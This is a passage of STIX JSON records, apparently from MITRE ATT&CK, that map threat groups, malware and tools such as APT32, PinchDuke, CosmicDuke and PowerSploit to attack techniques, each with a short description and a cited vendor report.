                    "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/",
                    "description": "Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.",
                    "source_name": "Unit 42 OopsIE! Feb 2018"
                }
            ],
            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7",
            "type": "relationship",
            "modified": "2019-09-04T22:55:41.311Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--36f3f6df-5007-4075-84a3-9708132f1468",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[APT32](https://attack.mitre.org/groups/G0050) has used PubPrn.vbs within execution scripts to execute malware, possibly bypassing defenses.(Citation: Twitter ItsReallyNick Status Update APT32 PubPrn)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Twitter ItsReallyNick Status Update APT32 PubPrn",
                    "description": "Carr, N. (2017, December 22). ItsReallyNick Status Update. Retrieved April 9, 2018.",
                    "url": "https://twitter.com/ItsReallyNick/status/944321013084573697"
                }
            ],
            "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--09cd431f-eaf4-4d2a-acaf-2a7acfe7ed58",
            "type": "relationship",
            "modified": "2020-02-06T18:30:21.671Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--109b2118-d714-41bb-a39d-b1fd1b755b55",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[SynAck](https://attack.mitre.org/software/S0242) can manipulate Registry keys.(Citation: SecureList SynAck Doppelg\u00e4nging May 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/",
                    "description": "Ivanov, A. et al.. (2018, May 7). SynAck targeted ransomware uses the Doppelg\u00e4nging technique. Retrieved May 22, 2018.",
                    "source_name": "SecureList SynAck Doppelg\u00e4nging May 2018"
                }
            ],
            "source_ref": "malware--04227b24-7817-4de1-9050-b7b1b57f5866",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4",
            "type": "relationship",
            "modified": "2019-07-26T23:00:57.230Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--6fb86c58-666c-4a5f-bdd1-417a77761e6f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) has connected to C2 servers through proxies.(Citation: FireEye MuddyWater Mar 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html",
                    "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.",
                    "source_name": "FireEye MuddyWater Mar 2018"
                }
            ],
            "source_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--69b8fd78-40e8-4600-ae4d-662c9d7afdb3",
            "type": "relationship",
            "modified": "2020-03-23T16:15:33.771Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--bec2b0d9-b76e-4acb-a9a4-adebe4c854c0",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Socksbot](https://attack.mitre.org/software/S0273) can take screenshots.(Citation: TrendMicro Patchwork Dec 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "TrendMicro Patchwork Dec 2017",
                    "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.",
                    "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf"
                }
            ],
            "source_ref": "malware--e494ad79-37ee-4cd0-866b-299c521d8b94",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
            "type": "relationship",
            "modified": "2020-03-20T15:42:34.404Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--945a3286-2197-4984-8838-837afcd7925c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Bankshot](https://attack.mitre.org/software/S0239) generates a false TLS handshake using a public certificate to disguise C2 network communications.(Citation: US-CERT Bankshot Dec 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "US-CERT Bankshot Dec 2017",
                    "description": "US-CERT. (2017, December 13). Malware Analysis Report (MAR) - 10135536-B. Retrieved July 17, 2018.",
                    "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-B_WHITE.PDF"
                }
            ],
            "source_ref": "malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--c325b232-d5bc-4dde-a3ec-71f3db9e8adc",
            "type": "relationship",
            "modified": "2020-03-20T22:38:19.097Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--e376d1ed-a35a-47c1-98c6-4d37f52b1b84",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[ChChes](https://attack.mitre.org/software/S0144) can encrypt C2 traffic with AES or RC4.(Citation: Palo Alto menuPass Feb 2017)(Citation: JPCERT ChChes Feb 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto menuPass Feb 2017",
                    "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, February 16). menuPass Returns with New Malware and New Attacks Against Japanese Academics and Organizations. Retrieved March 1, 2017.",
                    "url": "http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/"
                },
                {
                    "source_name": "JPCERT ChChes Feb 2017",
                    "description": "Nakamura, Y.. (2017, February 17). ChChes - Malware that Communicates with C&C Servers Using Cookie Headers. Retrieved March 1, 2017.",
                    "url": "http://blog.jpcert.or.jp/2017/02/chches-malware--93d6.html"
                }
            ],
            "source_ref": "malware--dc5d1a33-62aa-4a0c-aa8c-589b87beb11e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41",
            "type": "relationship",
            "modified": "2020-03-30T18:49:40.323Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--abee00d3-8417-468b-84a4-40c7d0ac4f7d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[S-Type](https://attack.mitre.org/software/S0085) runs the command <code>net start</code> on a victim.(Citation: Cylance Dust Storm)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Cylance Dust Storm",
                    "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.",
                    "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf"
                }
            ],
            "source_ref": "malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa",
            "type": "relationship",
            "modified": "2020-02-11T16:29:35.486Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--84bc4ba8-ab0e-4c60-92ed-26496a831611",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "To establish persistence, [Truvasys](https://attack.mitre.org/software/S0178) adds a Registry Run key with a value \"TaskMgr\" in an attempt to masquerade as the legitimate Windows Task Manager.(Citation: Microsoft Win Defender Truvasys Sep 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Microsoft Win Defender Truvasys Sep 2017",
                    "description": "Microsoft. (2017, September 15). Backdoor:Win32/Truvasys.A!dha. Retrieved November 30, 2017.",
                    "url": "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:Win32/Truvasys.A!dha"
                }
            ],
            "source_ref": "malware--691c60e2-273d-4d56-9ce6-b67e0f8719ad",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c",
            "type": "relationship",
            "modified": "2020-03-18T16:10:03.086Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--31334bcb-0207-41c8-b04a-96c7d6d1a466",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[PowerSploit](https://attack.mitre.org/software/S0194) contains a collection of Exfiltration modules that can access data from local files, volumes, and processes.(Citation: GitHub PowerSploit May 2012)(Citation: PowerSploit Documentation)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://github.com/PowerShellMafia/PowerSploit",
                    "description": "PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.",
                    "source_name": "GitHub PowerSploit May 2012"
                },
                {
                    "url": "http://powersploit.readthedocs.io",
                    "description": "PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.",
                    "source_name": "PowerSploit Documentation"
                }
            ],
            "source_ref": "tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
            "type": "relationship",
            "modified": "2019-04-24T23:43:08.199Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--4afcb9c9-e490-446b-97b1-1c151974242f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[TINYTYPHON](https://attack.mitre.org/software/S0131) has used XOR with 0x90 to obfuscate its configuration file.(Citation: Forcepoint Monsoon)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Forcepoint Monsoon",
                    "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.",
                    "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-12-14T16:46:06.044Z",
            "source_ref": "malware--85b39628-204a-48d2-b377-ec368cbcb7ca",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a"
        },
        {
            "id": "relationship--b9f4c6ef-d0bd-4651-9445-4705e1fd85f2",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Axiom](https://attack.mitre.org/groups/G0001) actors have been known to use the Sticky Keys replacement within RDP sessions to obtain persistence.(Citation: Novetta-Axiom)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf",
                    "description": "Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.",
                    "source_name": "Novetta-Axiom"
                }
            ],
            "source_ref": "intrusion-set--a0cb9370-e39b-44d5-9f50-ef78e412b973",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--70e52b04-2a0c-4cea-9d18-7149f1df9dc5",
            "type": "relationship",
            "modified": "2019-03-22T19:55:13.723Z",
            "created": "2017-05-31T21:33:27.031Z"
        },
        {
            "id": "relationship--5765c7d1-884f-4d6d-a938-4a92c86a9e21",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Winexe](https://attack.mitre.org/software/S0191) installs a service on the remote system, executes the command, then uninstalls the service.(Citation: Secpod Winexe June 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Secpod Winexe June 2017",
                    "description": "Prakash, T. (2017, June 21). Run commands on Windows system remotely using Winexe. Retrieved January 22, 2018.",
                    "url": "http://www.secpod.com/blog/winexe/"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-04-18T17:59:24.739Z",
            "source_ref": "tool--96fd6cc4-a693-4118-83ec-619e5352d07d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4"
        },
        {
            "id": "relationship--98abda72-4760-4e8c-ab6c-5ed080868cfc",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Backdoor.Oldrea](https://attack.mitre.org/software/S0093) collects address book information from Outlook.(Citation: Symantec Dragonfly)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Dragonfly",
                    "description": "Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.",
                    "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf"
                }
            ],
            "source_ref": "malware--083bb47b-02c8-4423-81a2-f9ef58572974",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--4bc31b94-045b-4752-8920-aebaebdb6470",
            "type": "relationship",
            "modified": "2020-03-29T22:54:58.176Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--83bfee39-b6c9-48e6-8114-54b0c623a91f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) has attempted to get users to launch a malicious Microsoft Word attachment delivered via a spearphishing email.(Citation: McAfee Bankshot)(Citation: F-Secure Lazarus Cryptocurrency Aug 2020)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/",
                    "description": "Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.",
                    "source_name": "McAfee Bankshot"
                },
                {
                    "source_name": "F-Secure Lazarus Cryptocurrency Aug 2020",
                    "url": "https://labs.f-secure.com/assets/BlogFiles/f-secureLABS-tlp-white-lazarus-threat-intel-report2.pdf",
                    "description": "F-Secure Labs. (2020, August 18). Lazarus Group Campaign Targeting the Cryptocurrency Vertical. Retrieved September 1, 2020."
                }
            ],
            "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e",
            "type": "relationship",
            "modified": "2020-09-22T16:26:53.204Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--4e07996d-c9d9-49a8-9800-94daf69cd3b3",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Kwampirs](https://attack.mitre.org/software/S0236) collects a list of files and directories in C:\\ with the command <code>dir /s /a c:\\ >> \"C:\\windows\\TEMP\\[RANDOM].tmp\"</code>.(Citation: Symantec Orangeworm April 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Orangeworm April 2018",
                    "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia"
                }
            ],
            "source_ref": "malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2020-03-18T00:52:18.997Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--95415ffd-265d-448f-bb39-73c7721d5c42",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[BITSAdmin](https://attack.mitre.org/software/S0190) can be used to create [BITS Jobs](https://attack.mitre.org/techniques/T1197) to upload files from a compromised host.(Citation: Microsoft BITSAdmin)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Microsoft BITSAdmin",
                    "description": "Microsoft. (n.d.). BITSAdmin Tool. Retrieved January 12, 2018.",
                    "url": "https://msdn.microsoft.com/library/aa362813.aspx"
                }
            ],
            "source_ref": "tool--64764dc6-a032-495f-8250-1e4c06bdc163",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b",
            "type": "relationship",
            "modified": "2020-03-16T17:51:37.946Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--5422e9a8-4fbe-40c0-8348-53faa9a7d2d3",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[OopsIE](https://attack.mitre.org/software/S0264) uses WMI to perform discovery techniques.(Citation: Unit 42 OilRig Sept 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 OilRig Sept 2018",
                    "description": "Falcone, R., et al. (2018, September 04). OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September 24, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/"
                }
            ],
            "source_ref": "malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055",
            "type": "relationship",
            "modified": "2019-04-24T23:40:23.513Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--e32b53b5-b112-483a-8d95-56bf3f43671f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[CosmicDuke](https://attack.mitre.org/software/S0050) uses scheduled tasks typically named \"Watchmon Service\" for persistence.(Citation: F-Secure Cosmicduke)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "F-Secure Cosmicduke",
                    "description": "F-Secure Labs. (2014, July). COSMICDUKE Cosmu with a twist of MiniDuke. Retrieved July 3, 2014.",
                    "url": "https://www.f-secure.com/documents/996508/1030745/cosmicduke_whitepaper.pdf"
                }
            ],
            "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
            "type": "relationship",
            "modified": "2020-03-28T21:32:37.554Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--ab7faed6-3c50-4b04-a31b-ac2c933a51ef",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[HTTPBrowser](https://attack.mitre.org/software/S0070) is capable of capturing keystrokes on victims.(Citation: Dell TG-3390)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Dell TG-3390",
                    "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.",
                    "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"
                }
            ],
            "source_ref": "malware--e066bf86-9cfb-407a-9d25-26fd5d91e360",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4",
            "type": "relationship",
            "modified": "2020-03-16T16:56:45.657Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--a00bb928-c644-4b77-ae9c-18c3165daa00",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[CORALDECK](https://attack.mitre.org/software/S0212) searches for specified files.(Citation: FireEye APT37 Feb 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT37 Feb 2018",
                    "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.",
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"
                }
            ],
            "source_ref": "malware--8ab98e25-1672-4b5f-a2fb-e60f08a5ea9e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2020-03-17T00:47:20.090Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--1d3892ec-dccb-4ba2-b82c-2c7fcafbdd00",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[JPIN](https://attack.mitre.org/software/S0201) can use the command-line utility cacls.exe to change file permissions.(Citation: Microsoft PLATINUM April 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Microsoft PLATINUM April 2016",
                    "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.",
                    "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf"
                }
            ],
            "source_ref": "malware--de6cb631-52f6-4169-a73b-7965390b0c30",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-20T02:18:04.005Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--3acdd018-80a0-4005-bab9-0cf89acfa43a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[PinchDuke](https://attack.mitre.org/software/S0048) transfers files from the compromised host via HTTP or HTTPS to a C2 server.(Citation: F-Secure The Dukes)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "F-Secure The Dukes",
                    "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.",
                    "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"
                }
            ],
            "source_ref": "malware--ae9d818d-95d0-41da-b045-9cabea1ca164",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T02:07:10.854Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--2e80a049-220e-4d47-98f7-c0dbfe245cdc",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[PinchDuke](https://attack.mitre.org/software/S0048) steals credentials from compromised hosts. [PinchDuke](https://attack.mitre.org/software/S0048)'s credential stealing functionality is believed to be based on the source code of the Pinch credential stealing malware (also known as LdPinch). Credentials targeted by [PinchDuke](https://attack.mitre.org/software/S0048) include ones associated many sources such as WinInet Credential Cache, and Lightweight Directory Access Protocol (LDAP).(Citation: F-Secure The Dukes)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "F-Secure The Dukes",
                    "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.",
                    "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"
                }
            ],
            "source_ref": "malware--ae9d818d-95d0-41da-b045-9cabea1ca164",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22",
            "type": "relationship",
            "modified": "2020-03-19T23:56:41.619Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--a9727d1b-777a-4c3e-8bcc-e0cbff7431d8",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[CosmicDuke](https://attack.mitre.org/software/S0050) can use HTTP or HTTPS for command and control to hard-coded C2 servers.(Citation: F-Secure The Dukes)(Citation: F-Secure Cosmicduke)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "F-Secure The Dukes",
                    "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.",
                    "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"
                },
                {
                    "source_name": "F-Secure Cosmicduke",
                    "description": "F-Secure Labs. (2014, July). COSMICDUKE Cosmu with a twist of MiniDuke. Retrieved July 3, 2014.",
                    "url": "https://www.f-secure.com/documents/996508/1030745/cosmicduke_whitepaper.pdf"
                }
            ],
            "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T00:48:14.128Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--c011e80b-7b86-405a-8d41-745bd37a0d10",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[PoisonIvy](https://attack.mitre.org/software/S0012) creates a backdoor through which remote attackers can steal system information.(Citation: Symantec Darkmoon Aug 2005)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Darkmoon Aug 2005",
                    "description": "Hayashi, K. (2005, August 18). Backdoor.Darkmoon. Retrieved February 23, 2018.",
                    "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2005-081910-3934-99"
                }
            ],
            "source_ref": "malware--b42378e0-f147-496f-992a-26a49705395b",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
            "type": "relationship",
            "modified": "2020-03-16T16:57:13.444Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--3eb29574-145d-4d4a-b4c6-e94b8a79781e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[DustySky](https://attack.mitre.org/software/S0062) searches for removable media and duplicates itself onto it.(Citation: DustySky)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "DustySky",
                    "description": "ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf"
                }
            ],
            "source_ref": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4",
            "type": "relationship",
            "modified": "2021-04-27T19:53:40.885Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--9818eeca-be12-4dd3-bf9f-e33d5b409248",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[NavRAT](https://attack.mitre.org/software/S0247) logs the keystrokes on the targeted system.(Citation: Talos NavRAT May 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Talos NavRAT May 2018",
                    "description": "Mercer, W., Rascagneres, P. (2018, May 31). NavRAT Uses US-North Korea Summit As Decoy For Attacks In South Korea. Retrieved June 11, 2018.",
                    "url": "https://blog.talosintelligence.com/2018/05/navrat.html"
